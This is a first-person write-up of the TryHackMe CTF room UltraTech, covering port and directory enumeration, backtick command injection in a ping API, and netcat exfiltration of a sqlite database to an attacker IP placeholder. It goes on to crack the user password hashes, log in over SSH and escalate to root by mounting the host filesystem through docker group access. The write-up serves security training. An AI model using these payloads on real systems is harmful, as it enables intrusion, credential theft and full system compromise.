UltraTech – TryHackMe Writeup

UltraTech is a TryHackMe’s room which explore some penetration testing, enumeration and privilege escalation techniques as its own description says.

As always the first step is to enumerate the machine with nmap as follow:

$ nmap -sCV -T4 -n -vv -p- 10.10.135.109
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-28 22:42 CST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:42
Completed NSE at 22:42, 0.00s elapsed
Initiating Ping Scan at 22:42
Scanning 10.10.135.109 [4 ports]
Completed Ping Scan at 22:42, 0.24s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 22:42
Scanning 10.10.135.109 [65535 ports]
Discovered open port 22/tcp on 10.10.135.109
Discovered open port 21/tcp on 10.10.135.109
SYN Stealth Scan Timing: About 45.07% done; ETC: 22:43 (0:00:38 remaining)
Discovered open port 31331/tcp on 10.10.135.109
Discovered open port 8081/tcp on 10.10.135.109
Completed SYN Stealth Scan at 22:44, 121.62s elapsed (65535 total ports)
Initiating Service scan at 22:44
Scanning 4 services on 10.10.135.109
Completed Service scan at 22:44, 11.62s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.135.109.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 6.04s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 1.40s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
Nmap scan report for 10.10.135.109
Host is up, received timestamp-reply ttl 61 (0.20s latency).
Scanned at 2022-03-28 22:42:01 CST for 141s
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE REASON         VERSION
21/tcp    open  ftp     syn-ack ttl 61 vsftpd 3.0.3
22/tcp    open  ssh     syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiFl7iswZsMnnI2RuX0ezMMVjUXFY1lJmZr3+H701ZA6nJUb2ymZyXusE/wuqL4BZ+x5gF2DLLRH7fdJkdebuuaMpQtQfEdsOMT+JakQgCDls38FH1jcrpGI3MY55eHcSilT/EsErmuvYv1s3Yvqds6xoxyvGgdptdqiaj4KFBNSDVneCSF/K7IQdbavM3Q7SgKchHJUHt6XO3gICmZmq8tSAdd2b2Ik/rYzpIiyMtfP3iWsyVgjR/q8oR08C2lFpPN8uSyIHkeH1py0aGl+V1E7j2yvVMIb4m3jGtLWH89iePTXmfLkin2feT6qAm7acdktZRJTjaJ8lEMFTHEijJ
|   256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLy2NkFfAZMY462Bf2wSIGzla3CDXwLNlGEpaCs1Uj55Psxk5Go/Y6Cw52NEljhi9fiXOOkIxpBEC8bOvEcNeNY=
|   256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEipoohPz5HURhNfvE+WYz4Hc26k5ObMPnAQNoUDsge3
8081/tcp  open  http    syn-ack ttl 61 Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open  http    syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 15C1B7515662078EF4B5C724E2927A96
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 22:44
Completed NSE at 22:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.38 seconds
           Raw packets sent: 65756 (2.893MB) | Rcvd: 65756 (2.631MB)

As we can see, there a few open ports, we have two HTTP related ports. If we try to access to each one we find the following pages, a simple page:

Page in port 31331.

And an API, which as we can wee from nmap scan, it’s running Node.js Express framework in the backend:

API in port 8081.

The following step could be enumerate both port in order to identify page in the website with gobuster:

$ gobuster dir -u http://10.10.135.109:31331/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x txt,php,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.135.109:31331/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2022/03/28 23:10:00 Starting gobuster in directory enumeration mode
===============================================================
/partners.html        (Status: 200) [Size: 1986]
/index.html           (Status: 200) [Size: 6092]
/images               (Status: 301) [Size: 324] [--> http://10.10.135.109:31331/images/]
/css                  (Status: 301) [Size: 321] [--> http://10.10.135.109:31331/css/]   
/js                   (Status: 301) [Size: 320] [--> http://10.10.135.109:31331/js/]    
/javascript           (Status: 301) [Size: 328] [--> http://10.10.135.109:31331/javascript/]
/what.html            (Status: 200) [Size: 2534]                                            
/robots.txt           (Status: 200) [Size: 53]                                              
Progress: 342004 / 882244 (38.77%)                                                         ^C
[!] Keyboard interrupt detected, terminating.
                                                                                            
===============================================================
2022/03/28 23:21:26 Finished
===============================================================

And endpoints in the API:

$ gobuster dir -u http://10.10.135.109:8081/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x txt,php,html
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.135.109:8081/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,txt,php
[+] Timeout:                 10s
===============================================================
2022/03/28 22:46:04 Starting gobuster in directory enumeration mode
===============================================================
/auth                 (Status: 200) [Size: 39]
/ping                 (Status: 500) [Size: 1094]
/Ping                 (Status: 500) [Size: 1094]
/Auth                 (Status: 200) [Size: 39]  
                                                
===============================================================
2022/03/28 23:15:20 Finished
===============================================================

From last results we found robots.txt file exists and it has an interesting entry:

robots.txt file.

If we go to the mentioned path we found the following:

utech_sitemap.txt file.

The most interesting one page is partners.html, which shows some kind of login page:

partners.html page.

If we enter some test credentials we see it redirects automatically to the API, which tries to validate the requests. Although we don’t have any user and password, we now know would the API is used and how the parameters could be passed.

auth endpoint from API.

Knowing this, we had found two endpoints in the enumeration from port 8081, auth and ping. From this we could imagine that we could try ‘ip’ GET parameter to set an IP and try lo launch a ping to it:

ping endpoint form API.

And it worked! What we need to do next is to try to inject any command. After some attempts we could realize it’s not working and it has some sanitization before execute any command.

There are different quotes and each one has a different meaning for bash, one we could use is backticks (`), which can be used to execute commands inside a shell script, this means that we can pass the result of a command to another command, lets see the following example with whoami command:

Injection whoami command

As we can see from output, we successfully injected the username (“www”) into the ping command, which is the result of the whoami command.

Hence we could try to run any other command, for example ls:

Injection ls command.

We got there is a sqlite file, so we could try to transfer it to our attacking machine.

For doing so I will try to use netcat, setting up a listener in the attacker machine:

nc -nlvp <port> > <file>.sqlite

And then launch the request from the web browser injecting the a netcat command:

/ping?ip=`nc%20<attacker IP>%20<port>%20%3C%20<file>.sqlite`

As we can see in following image we were able to establish the connection, which means the now transferred the sqlite file to our attacking host, we have to interrupt the connection since netcat doesn’t know is there are more data to transfer, we can do this with Ctrl + C:

Transferring sqlite file to out host.

Also we verified that the file is indeed the a sqlite file.

Next I’ll do is to analyze the database with sqlitebrowser, although this could be also done from CLI:

sqlitebrowser <file>.sqlite

After analyzing the database, we found there is just one table (“users”) which has two user and password pairs:

Users table from database.

So we could try to crack the listed hashes, for this I’ll use CrackStation:

Cracking hashes.

We got both clear text passwords. From first port scan we know port 22 (SSH) is open, so we can try to log in with any of these credentials:

$ ssh r00t@10.10.135.109
r00t@10.10.135.109's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Mar 29 06:23:51 UTC 2022

  System load:  0.0                Processes:           104
  Usage of /:   24.5% of 19.56GB   Users logged in:     0
  Memory usage: 43%                IP address for eth0: 10.10.135.109
  Swap usage:   0%


1 package can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

r00t@ultratech-prod:~$ ls
r00t@ultratech-prod:~$ whoami
r00t

We did it, we are in! We just need to find root’s ssh key as per room instructions.

After enumerating the machine, we found the current user is in docker groups, so we could try to abuse its permissions.

User groups.

Listing the images present in the system we found one called “bash”, so we can use to mount root path (“/”) into the container and have access to all system files as follows:

r00t@ultratech-prod:/home$ docker run -v /:/mnt --rm -it bash sh
/ # whoami
root
/ # cd /mnt/root/.ssh/
/mnt/root/.ssh # cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
***** EDITED *****
-----END RSA PRIVATE KEY-----
/mnt/root/.ssh #

Finally, we got root’s SSH file.